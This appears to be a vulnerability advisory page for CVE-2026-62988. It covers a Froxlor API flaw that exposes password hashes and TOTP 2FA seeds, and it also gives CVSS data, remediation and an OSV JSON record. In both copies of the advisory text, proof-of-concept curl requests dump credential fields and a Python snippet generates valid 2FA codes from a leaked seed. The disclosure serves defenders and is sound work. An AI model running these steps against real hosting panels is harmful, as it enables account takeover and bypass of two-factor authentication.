CVE-2026-62988: Froxlor Credential And 2FA Secret Disclosure Vulnerability

CRITICAL
Advisory Identifier: GHSA-7788-ghfq-c6mh
CVSS 9.0
CWE-200
Published
Advisory Summary

CVE-2026-62988 is a CRITICAL (CVSS 9.0) credential and 2fa secret disclosure vulnerability (CWE-200: Exposure of Sensitive Information to an Unauthorized Actor) affecting Froxlor libraries in the Packagist ecosystem. The issue involves credential and 2fa secret disclosure via froxlor api endpoints. Remediation is available by upgrading affected packages to version 2.3.8.

CVE-2026-62988 at a Glance

CVE Identifier CVE-2026-62988
GHSA Identifier GHSA-7788-ghfq-c6mh
Severity CRITICAL
CVSS v3.1 Base Score 9.0
CWE Classification CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Affected Product Froxlor
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 9.0

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required High (PR:H)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability Low (A:L)

How to Fix CVE-2026-62988

To remediate this vulnerability, upgrade all affected Froxlor dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

froxlor/froxlor fixed: 2.3.8
Upgrade froxlor/froxlor to 2.3.8
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for froxlor/froxlor

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-62988, inspect your project dependencies for Froxlor:

inspect dependencies for froxlor/froxlor

Analyze the terminal output to locate any version of Froxlor in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.3.8), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, where the product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. In Froxlor, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary Several Froxlor API command classes return sensitive authentication material in JSON API responses. The affected endpoints retrieve full database rows using `SELECT *`, `SELECT alias.*`, or equivalent full-row queries, then return the results directly through `$this->response(...)` without removing credential-related fields. The exposed fields include password hashes for customers, administrators, and FTP users, as well as TOTP 2FA seed material for administrator and customer accounts. This exposes credential-equivalent data to API clients that should not receive it. Password hashes can be cracked offline and reused for account takeover, while exposed TOTP seeds allow generation of valid 2FA codes for affected accounts. When both a password hash and TOTP seed are exposed for the same account, the vulnerability can defeat both authentication factors if the password hash is cracked or the password is otherwise obtained. ## Details The affected API classes retrieve entire database rows and return them without filtering sensitive fields: ### `lib/Froxlor/Api/Commands/Customers.php` `Customers.get()` and `Customers.listing()` select and return customer rows containing sensitive fields, including: * `password` * `type_2fa` * `data_2fa` When `type_2fa = 2`, the `data_2fa` value represents the Base32-encoded TOTP seed used by the customer's authenticator application. The result is returned through `$this->response($result)` or `$this->response(['list' => $result])` without removing these fields. ### `lib/Froxlor/Api/Commands/Admins.php` `Admins.get()` and `Admins.listing()` return administrator rows containing sensitive fields, including: * `password` * `type_2fa` * `data_2fa` When `type_2fa = 2`, the `data_2fa` value represents the Base32-encoded TOTP seed used by the administrator's authenticator application. These fields are not stripped before returning the API response. ### `lib/Froxlor/Api/Commands/Ftps.php` `Ftps.get()` and `Ftps.listing()` return FTP user rows containing: * `password` The password field is not stripped before returning the API response. This behavior appears inconsistent with Froxlor's existing safe response patterns. For example, other API command classes explicitly remove password-related fields before returning responses. This indicates that credential material and sensitive internal fields are already treated as non-response data in other parts of the product. ## Proof of Concept ### Preconditions * Froxlor API is enabled. * A valid API key and secret exist for an account allowed to call the affected API endpoints. * At least one customer or administrator account exists with TOTP 2FA enabled. * For `Admins.*`, the API account must have the required permission to call the affected administrator endpoint. Set variables: ```bash export FROXLOR_BASE='https://froxlor.example.com' export API_KEY='<api_key>' export API_SECRET='<api_secret>' ``` ### PoC 1: Customer password hash and TOTP seed exposure ```bash curl -k -sS -u "$API_KEY:$API_SECRET" \ -H 'Content-Type: application/json' \ -X POST \ -d '{"command":"Customers.listing","params":{}}' \ "$FROXLOR_BASE/api.php" | jq '.data.list[] | {customerid, loginname, password, type_2fa, data_2fa, email}' ``` Example vulnerable response: ```json { "customerid": 1, "loginname": "customer1", "password": "$2y$12$REDACTED_HASH_VALUE...", "type_2fa": 2, "data_2fa": "REDACTED_BASE32_TOTP_SEED", "email": "customer@example.com" } ``` The same issue can be verified with `Customers.get`: ```bash curl -k -sS -u "$API_KEY:$API_SECRET" \ -H 'Content-Type: application/json' \ -X POST \ -d '{"command":"Customers.get","params":{"id":1}}' \ "$FROXLOR_BASE/api.php" ``` ### PoC 2: Administrator password hash and TOTP seed exposure ```bash curl -k -sS -u "$API_KEY:$API_SECRET" \ -H 'Content-Type: application/json' \ -X POST \ -d '{"command":"Admins.listing","params":{}}' \ "$FROXLOR_BASE/api.php" | jq '.data.list[] | {adminid, loginname, password, type_2fa, data_2fa}' ``` Example vulnerable response: ```json { "adminid": 1, "loginname": "admin", "password": "$2y$12$REDACTED_HASH_VALUE...", "type_2fa": 2, "data_2fa": "REDACTED_BASE32_TOTP_SEED" } ``` The same issue can be verified with `Admins.get`: ```bash curl -k -sS -u "$API_KEY:$API_SECRET" \ -H 'Content-Type: application/json' \ -X POST \ -d '{"command":"Admins.get","params":{"id":1}}' \ "$FROXLOR_BASE/api.php" ``` ### PoC 3: FTP password hash exposure ```bash curl -k -sS -u "$API_KEY:$API_SECRET" \ -H 'Content-Type: application/json' \ -X POST \ -d '{"command":"Ftps.listing","params":{}}' \ "$FROXLOR_BASE/api.php" | jq '.data.list[] | {id, username, password}' ``` Example vulnerable response: ```json { "id": 1, "username": "customer1", "password": "$2y$12$REDACTED_HASH_VALUE..." } ``` The same issue can be verified with `Ftps.get`: ```bash curl -k -sS -u "$API_KEY:$API_SECRET" \ -H 'Content-Type: application/json' \ -X POST \ -d '{"command":"Ftps.get","params":{"id":1}}' \ "$FROXLOR_BASE/api.php" ``` ### PoC 4: Generate a valid TOTP code from the exposed seed If `type_2fa = 2`, the exposed `data_2fa` value can be used to generate valid TOTP codes for the affected account. ```bash export TOTP_SEED='<base32_totp_seed_from_data_2fa>' python3 - <<'PY' import base64 import hashlib import hmac import os import struct import time seed = os.environ["TOTP_SEED"].replace(" ", "").upper() key = base64.b32decode(seed + "=" * ((8 - len(seed) % 8) % 8)) counter = int(time.time() // 30) msg = struct.pack(">Q", counter) digest = hmac.new(key, msg, hashlib.sha1).digest() offset = digest[-1] & 0x0F code = struct.unpack(">I", digest[offset:offset + 4])[0] & 0x7fffffff print(str(code % 1000000).zfill(6)) PY ``` The generated six-digit value is a valid TOTP code for the affected account during the current TOTP time window. ### Expected behavior API responses should never include password hashes, TOTP seeds, or other credential-equivalent authentication material in normal `get` or `listing` responses. At minimum, the following fields should be omitted or redacted before returning API responses: * `password` * `data_2fa` * any future credential-equivalent secret fields ## Impact An authenticated API user can retrieve credential material for accounts visible through the affected endpoints. For password hashes, an attacker can perform offline cracking. If a weak or reused password is recovered, the attacker can authenticate as the affected customer, administrator, or FTP user. This may lead to unauthorized access to the hosting panel, FTP file access, hosted website modification, mail or database management, and lateral movement inside a shared-hosting environment. For TOTP 2FA seeds, an attacker can generate valid one-time codes for affected administrator or customer accounts. TOTP seeds are long-lived secrets and remain valid until 2FA is reset. Exposure of `data_2fa` therefore weakens or bypasses the second authentication factor for affected accounts. The combined impact is especially severe when both `password` and `data_2fa` are exposed for the same administrator or customer account. In that case, an attacker can attempt to crack the password hash offline and then use the exposed TOTP seed to generate valid 2FA codes, defeating both factors of authentication. Administrator credential material is particularly sensitive because compromise of an administrator account may allow privileged panel actions and access to server-level or customer-level hosting configuration. Customer and FTP credential material is also sensitive because it may allow unauthorized access to hosted content and account-specific resources. ## Remediation API responses should be built from explicit allowlists of safe response fields instead of returning full database rows. Sensitive fields such as `password` and `data_2fa` should never be included in normal `get` or `listing` responses. As a tactical fix, remove or redact credential-equivalent fields before calling `$this->response(...)` in the affected API command classes. As an architectural fix, introduce centralized response serialization for API models so that sensitive fields are consistently excluded across all endpoints. This should include password hashes, TOTP seeds, recovery secrets, API secrets, tokens, private keys, and any future authentication material. Because TOTP seeds may have been exposed, affected installations should consider requiring 2FA reset or rotation for accounts whose `data_2fa` values may have been returned through vulnerable API responses.

CVE-2026-62988 Affected Froxlor Versions

1 component(s)
Fixed Versions:
2.3.8
Product / Package Ecosystem Affected Versions Fixed Version
froxlor/froxlor
Packagist
< 2.3.8
2.3.8

References

Frequently Asked Questions

What is CVE-2026-62988?
CVE-2026-62988 is a security vulnerability in Froxlor involving Credential and 2FA secret disclosure via Froxlor API endpoints under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor.
Which Froxlor versions are affected?
Affected versions include releases prior to 2.3.8 across affected packages: froxlor/froxlor.
What version fixes CVE-2026-62988?
Upgrading to 2.3.8 (or the latest patched release for your respective branch) resolves the vulnerability.
Is froxlor/froxlor affected?
Yes, froxlor/froxlor is affected in releases prior to 2.3.8. Upgrade your dependency to 2.3.8 or later.
What is the CVSS score of CVE-2026-62988?
CVE-2026-62988 has a CVSS v3.1 base score of 9.0 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:L.
What CWE is associated with CVE-2026-62988?
CVE-2026-62988 is classified under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor (The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.).
How can I check Packagist dependencies for CVE-2026-62988?
Run the dependency tree command: 'inspect dependencies for froxlor/froxlor'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7788-ghfq-c6mh",
  "modified" : "2026-08-18T20:48:35Z",
  "published" : "2026-08-18T20:48:35Z",
  "aliases" : [ "CVE-2026-62988" ],
  "summary" : "Froxlor: Credential and 2FA secret disclosure via Froxlor API endpoints",
  "details" : "## Summary\n\nSeveral Froxlor API command classes return sensitive authentication material in JSON API responses. The affected endpoints retrieve full database rows using `SELECT *`, `SELECT alias.*`, or equivalent full-row queries, then return the results directly through `$this->response(...)` without removing credential-related fields.\n\nThe exposed fields include password hashes for customers, administrators, and FTP users, as well as TOTP 2FA seed material for administrator and customer accounts.\n\nThis exposes credential-equivalent data to API clients that should not receive it. Password hashes can be cracked offline and reused for account takeover, while exposed TOTP seeds allow generation of valid 2FA codes for affected accounts. When both a password hash and TOTP seed are exposed for the same account, the vulnerability can defeat both authentication factors if the password hash is cracked or the password is otherwise obtained.\n\n## Details\n\nThe affected API classes retrieve entire database rows and return them without filtering sensitive fields:\n\n### `lib/Froxlor/Api/Commands/Customers.php`\n\n`Customers.get()` and `Customers.listing()` select and return customer rows containing sensitive fields, including:\n\n* `password`\n* `type_2fa`\n* `data_2fa`\n\nWhen `type_2fa = 2`, the `data_2fa` value represents the Base32-encoded TOTP seed used by the customer's authenticator application.\n\nThe result is returned through `$this->response($result)` or `$this->response(['list' => $result])` without removing these fields.\n\n### `lib/Froxlor/Api/Commands/Admins.php`\n\n`Admins.get()` and `Admins.listing()` return administrator rows containing sensitive fields, including:\n\n* `password`\n* `type_2fa`\n* `data_2fa`\n\nWhen `type_2fa = 2`, the `data_2fa` value represents the Base32-encoded TOTP seed used by the administrator's authenticator application.\n\nThese fields are not stripped before returning the API response.\n\n### `lib/Froxlor/Api/Commands/Ftps.php`\n\n`Ftps.get()` and `Ftps.listing()` return FTP user rows containing:\n\n* `password`\n\nThe password field is not stripped before returning the API response.\n\nThis behavior appears inconsistent with Froxlor's existing safe response patterns. For example, other API command classes explicitly remove password-related fields before returning responses. This indicates that credential material and sensitive internal fields are already treated as non-response data in other parts of the product.\n\n## Proof of Concept\n\n### Preconditions\n\n* Froxlor API is enabled.\n* A valid API key and secret exist for an account allowed to call the affected API endpoints.\n* At least one customer or administrator account exists with TOTP 2FA enabled.\n* For `Admins.*`, the API account must have the required permission to call the affected administrator endpoint.\n\nSet variables:\n\n```bash\nexport FROXLOR_BASE='https://froxlor.example.com'\nexport API_KEY='<api_key>'\nexport API_SECRET='<api_secret>'\n```\n\n### PoC 1: Customer password hash and TOTP seed exposure\n\n```bash\ncurl -k -sS -u \"$API_KEY:$API_SECRET\" \\\n  -H 'Content-Type: application/json' \\\n  -X POST \\\n  -d '{\"command\":\"Customers.listing\",\"params\":{}}' \\\n  \"$FROXLOR_BASE/api.php\" | jq '.data.list[] | {customerid, loginname, password, type_2fa, data_2fa, email}'\n```\n\nExample vulnerable response:\n\n```json\n{\n  \"customerid\": 1,\n  \"loginname\": \"customer1\",\n  \"password\": \"$2y$12$REDACTED_HASH_VALUE...\",\n  \"type_2fa\": 2,\n  \"data_2fa\": \"REDACTED_BASE32_TOTP_SEED\",\n  \"email\": \"customer@example.com\"\n}\n```\n\nThe same issue can be verified with `Customers.get`:\n\n```bash\ncurl -k -sS -u \"$API_KEY:$API_SECRET\" \\\n  -H 'Content-Type: application/json' \\\n  -X POST \\\n  -d '{\"command\":\"Customers.get\",\"params\":{\"id\":1}}' \\\n  \"$FROXLOR_BASE/api.php\"\n```\n\n### PoC 2: Administrator password hash and TOTP seed exposure\n\n```bash\ncurl -k -sS -u \"$API_KEY:$API_SECRET\" \\\n  -H 'Content-Type: application/json' \\\n  -X POST \\\n  -d '{\"command\":\"Admins.listing\",\"params\":{}}' \\\n  \"$FROXLOR_BASE/api.php\" | jq '.data.list[] | {adminid, loginname, password, type_2fa, data_2fa}'\n```\n\nExample vulnerable response:\n\n```json\n{\n  \"adminid\": 1,\n  \"loginname\": \"admin\",\n  \"password\": \"$2y$12$REDACTED_HASH_VALUE...\",\n  \"type_2fa\": 2,\n  \"data_2fa\": \"REDACTED_BASE32_TOTP_SEED\"\n}\n```\n\nThe same issue can be verified with `Admins.get`:\n\n```bash\ncurl -k -sS -u \"$API_KEY:$API_SECRET\" \\\n  -H 'Content-Type: application/json' \\\n  -X POST \\\n  -d '{\"command\":\"Admins.get\",\"params\":{\"id\":1}}' \\\n  \"$FROXLOR_BASE/api.php\"\n```\n\n### PoC 3: FTP password hash exposure\n\n```bash\ncurl -k -sS -u \"$API_KEY:$API_SECRET\" \\\n  -H 'Content-Type: application/json' \\\n  -X POST \\\n  -d '{\"command\":\"Ftps.listing\",\"params\":{}}' \\\n  \"$FROXLOR_BASE/api.php\" | jq '.data.list[] | {id, username, password}'\n```\n\nExample vulnerable response:\n\n```json\n{\n  \"id\": 1,\n  \"username\": \"customer1\",\n  \"password\": \"$2y$12$REDACTED_HASH_VALUE...\"\n}\n```\n\nThe same issue can be verified with `Ftps.get`:\n\n```bash\ncurl -k -sS -u \"$API_KEY:$API_SECRET\" \\\n  -H 'Content-Type: application/json' \\\n  -X POST \\\n  -d '{\"command\":\"Ftps.get\",\"params\":{\"id\":1}}' \\\n  \"$FROXLOR_BASE/api.php\"\n```\n\n### PoC 4: Generate a valid TOTP code from the exposed seed\n\nIf `type_2fa = 2`, the exposed `data_2fa` value can be used to generate valid TOTP codes for the affected account.\n\n```bash\nexport TOTP_SEED='<base32_totp_seed_from_data_2fa>'\n\npython3 - <<'PY'\nimport base64\nimport hashlib\nimport hmac\nimport os\nimport struct\nimport time\n\nseed = os.environ[\"TOTP_SEED\"].replace(\" \", \"\").upper()\nkey = base64.b32decode(seed + \"=\" * ((8 - len(seed) % 8) % 8))\n\ncounter = int(time.time() // 30)\nmsg = struct.pack(\">Q\", counter)\n\ndigest = hmac.new(key, msg, hashlib.sha1).digest()\noffset = digest[-1] & 0x0F\ncode = struct.unpack(\">I\", digest[offset:offset + 4])[0] & 0x7fffffff\n\nprint(str(code % 1000000).zfill(6))\nPY\n```\n\nThe generated six-digit value is a valid TOTP code for the affected account during the current TOTP time window.\n\n### Expected behavior\n\nAPI responses should never include password hashes, TOTP seeds, or other credential-equivalent authentication material in normal `get` or `listing` responses.\n\nAt minimum, the following fields should be omitted or redacted before returning API responses:\n\n* `password`\n* `data_2fa`\n* any future credential-equivalent secret fields\n\n## Impact\n\nAn authenticated API user can retrieve credential material for accounts visible through the affected endpoints.\n\nFor password hashes, an attacker can perform offline cracking. If a weak or reused password is recovered, the attacker can authenticate as the affected customer, administrator, or FTP user. This may lead to unauthorized access to the hosting panel, FTP file access, hosted website modification, mail or database management, and lateral movement inside a shared-hosting environment.\n\nFor TOTP 2FA seeds, an attacker can generate valid one-time codes for affected administrator or customer accounts. TOTP seeds are long-lived secrets and remain valid until 2FA is reset. Exposure of `data_2fa` therefore weakens or bypasses the second authentication factor for affected accounts.\n\nThe combined impact is especially severe when both `password` and `data_2fa` are exposed for the same administrator or customer account. In that case, an attacker can attempt to crack the password hash offline and then use the exposed TOTP seed to generate valid 2FA codes, defeating both factors of authentication.\n\nAdministrator credential material is particularly sensitive because compromise of an administrator account may allow privileged panel actions and access to server-level or customer-level hosting configuration. Customer and FTP credential material is also sensitive because it may allow unauthorized access to hosted content and account-specific resources.\n\n## Remediation\n\nAPI responses should be built from explicit allowlists of safe response fields instead of returning full database rows. Sensitive fields such as `password` and `data_2fa` should never be included in normal `get` or `listing` responses.\n\nAs a tactical fix, remove or redact credential-equivalent fields before calling `$this->response(...)` in the affected API command classes.\n\nAs an architectural fix, introduce centralized response serialization for API models so that sensitive fields are consistently excluded across all endpoints. This should include password hashes, TOTP seeds, recovery secrets, API secrets, tokens, private keys, and any future authentication material.\n\nBecause TOTP seeds may have been exposed, affected installations should consider requiring 2FA reset or rotation for accounts whose `data_2fa` values may have been returned through vulnerable API responses.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "froxlor/froxlor"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.3.8"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/froxlor/froxlor/security/advisories/GHSA-7788-ghfq-c6mh"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/froxlor/froxlor/commit/52a43fb826bb9a058faf9c39feeef7ac4444ceba"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/froxlor/froxlor/commit/8667fa3a4d77d6e322b7b8f7b9edbc1613ab5797"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/froxlor/froxlor"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/froxlor/froxlor/releases/tag/2.3.8"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-200" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-18T20:48:35Z",
    "nvd_published_at" : null
  }
}